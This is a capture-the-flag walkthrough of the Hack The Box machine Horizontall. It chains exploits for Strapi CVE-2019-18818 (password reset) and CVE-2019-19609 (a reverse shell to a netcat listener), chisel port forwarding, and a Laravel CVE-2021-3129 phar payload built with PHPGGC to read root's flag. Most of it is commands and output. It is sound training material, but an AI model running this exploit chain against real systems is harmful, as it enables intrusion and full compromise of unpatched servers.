Horizontall - [HTB]

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    Horizontall is an easy linux machine OSCP like, where you will have to find an API subdomain, where is located a strapi web page. Then, you will have to concatenate several exploits in order to obtain a reverse shell as user. Finally, you will have to do port forwarding in order to exploit a laravel vulnerability obtaining the root's flag.


    As always, let's start finding all opened ports in the machine with nmap.

    kali@kali:~/Documents/HTB/Horizontall$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt
    Nmap scan report for
    Host is up (0.11s latency).
    Not shown: 65533 closed ports
    22/tcp open  ssh
    80/tcp open  http
    # Nmap done at Mon Aug 30 09:06:45 2021 -- 1 IP address (1 host up) scanned in 176.68 seconds

    Then, we continue with a deeper scan of each opened port, getting more information about each service.

    kali@kali:~/Documents/HTB/Horizontall$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80
    Nmap scan report for
    Host is up (0.11s latency).
    22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
    |   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
    |_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
    80/tcp open  http    nginx 1.14.0 (Ubuntu)
    |_http-server-header: nginx/1.14.0 (Ubuntu)
    |_http-title: Did not follow redirect to http://horizontall.htb
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

    The nmap output provides us with the domain horizontall.htb, adding this to the /etc/hosts we have access to the web page.


    Because finding files inside this web page didn't seem to work out, I tried enumerating subdomains with gobuster.

    kali@kali:~/Documents/HTB/Horizontall$ gobuster vhost -o subdomains.txt -t 40 -w //usr/share/wordlists/SecLists/Discovery/DNS/./subdomains-top1million-110000.txt -u http://horizontall.htb/
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    [+] Url:          http://horizontall.htb/
    [+] Method:       GET
    [+] Threads:      40
    [+] Wordlist:     //usr/share/wordlists/SecLists/Discovery/DNS/./subdomains-top1million-110000.txt
    [+] User Agent:   gobuster/3.1.0
    [+] Timeout:      10s
    2021/08/30 09:16:41 Starting gobuster in VHOST enumeration mode
    Found: api-prod.horizontall.htb (Status: 200) [Size: 413]

    This new domain provides access to an API web page.


    With further enumeration, we obtain the following directories.

    kali@kali:~/Documents/HTB/Horizontall$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x php,html,txt,doc -t 40 -o GoBuster.txt -u http://api-prod.horizontall.htb/
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    [+] Url:          http://api-prod.horizontall.htb/
    [+] Method:       GET
    [+] Threads:      40
    [+] Wordlist:     /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtxt
    [+] User Agent:   gobuster/3.1.0
    [+] Timeout:      10s
    2021/08/30 09:16:41 Starting gobuster in VHOST enumeration mode
    /index.html           (Status: 200) [Size: 413]
    /reviews              (Status: 200) [Size: 507]
    /users                (Status: 403) [Size: 60]
    /admin                (Status: 200) [Size: 854]
    /robots.txt           (Status: 200) [Size: 121]

    Inside the /admin directory there is an strapi login page.

    Strapi login page

    With the following command, we can check the strapi version for a later CVE search.

    kali@kali:~/Documents/HTB/Horizontall$ curl http://api-prod.horizontall.htb/admin/strapiVersion; echo


    Looking on google there is a post about how to exploit the <strong data-reactroot="">CVE-2019-18818</strong>, resetting the administration password knowing the admin's email.

    Note: I guessed the admin's email and it worked out :D

    kali@kali:~/Documents/HTB/Horizontall$ python3 CVE-2019-18818.py admin@horizontall.htb http://api-prod.horizontall.htb 1234
    [*] Detected version(GET /admin/strapiVersion): 3.0.0-beta.17.4
    [*] Sending password reset request...
    [*] Setting new password...
    [*] Response:

    In order to obtain a reverse shell we need another CVE that looking on google again web appears this exploit for the CVE-2019-19609.

    Now, we can become the user strapi using the JWT token from the previous exploit, obtaining the user's flag.

    kali@kali:~/Documents/HTB/Horizontall$ python exploit.py api-prod.horizontall.htb eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMzQ0Nzc4LCJleHAiOjE2MzI5MzY3Nzh9.mv0KdDw8j9uoekrJgXRf0a4KqBb8F1rrW59J1tttmdQ http://api-prod.horizontall.htb/
    Strapi Framework Vulnerable to Remote Code Execution - CVE-2019-19609
    please set up a listener on port 9001 before running the script. you will get a shell to that listener
    kali@kali:~/Documents/HTB/Horizontall$ nc -nlvp 9001
    listening on [any] 9001 ...
    connect to [] from (UNKNOWN) [] 37538
    /bin/sh: 0: can't access tty; job control turned off
    $ id
    uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)

    Privilege Escalation

    Enumerating the machine we can see that there are some services running on localhost.

    strapi@horizontall:~/myapi$ netstat -putona
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name     Timer
    tcp        0      0*               LISTEN      -                    off (0.00/0/0)
    tcp        0      0*               LISTEN      -                    off (0.00/0/0)
    tcp        0      0    *               LISTEN      -                    off (0.00/0/0)
    tcp        0      0    *               LISTEN      -                    off (0.00/0/0)
    tcp        0      0*               LISTEN      1845/node /usr/bin/  off (0.00/0/0)

    The one we should care about is port 8000. In order to access the localhost we need to do port forwarding. For doing so, I used chisel.

    kali@kali:~/UTILS$ ./chisel server -p 4444 --reverse
    2021/08/30 14:45:18 server: Reverse tunnelling enabled
    2021/08/30 14:45:18 server: Fingerprint MUXg3S3pARA8Rd3hCfsGhdHH8RWZUiVY3d6TaBACa7s=
    2021/08/30 14:45:18 server: Listening on
    2021/08/30 14:46:21 server: session#1: tun: proxy#R:8000=>localhost:8000: Listening
    strapi@horizontall:/tmp$ wget
    strapi@horizontall:/tmp$ chmod +x chisel
    strapi@horizontall:/tmp$ ./chisel client R:8000:localhost:8000
    2021/08/30 19:23:19 client: Connecting to ws://

    Now, we can access to the laravel web page.

    Laravel web page

    Looking exploits for Laravel v8 appears the vulnerability CVE-2021-3129 with the following exploit. Nonetheless, we need the library PHPGGC to create our payload. In this case, our payload obtains the root flags.

    kali@kali:~/Documents/HTB/Horizontall$ git clone https://github.com/ambionics/phpggc.git
    Cloning into 'phpggc'...
    remote: Enumerating objects: 2504, done.
    remote: Counting objects: 100% (846/846), done.
    remote: Compressing objects: 100% (471/471), done.
    remote: Total 2504 (delta 331), reused 740 (delta 251), pack-reused 1658
    Receiving objects: 100% (2504/2504), 379.20 KiB | 866.00 KiB/s, done.
    Resolving deltas: 100% (973/973), done.
    Updating files: 100% (186/186), done.
    kali@kali:~/Documents/HTB/Horizontall$ cd phpggc/
    kali@kali:~/Documents/HTB/Horizontall/phpggc$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "cat /root/root.txt"

    Finally, we need to execute the exploit obtaining the root's flag.

    kali@kali:~/Documents/HTB/Horizontall$ python3 laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar
    + Log file: /home/developer/myproject/storage/logs/laravel.log
    + Logs cleared
    + Successfully converted to PHAR !
    + Phar deserialized
    + Logs cleared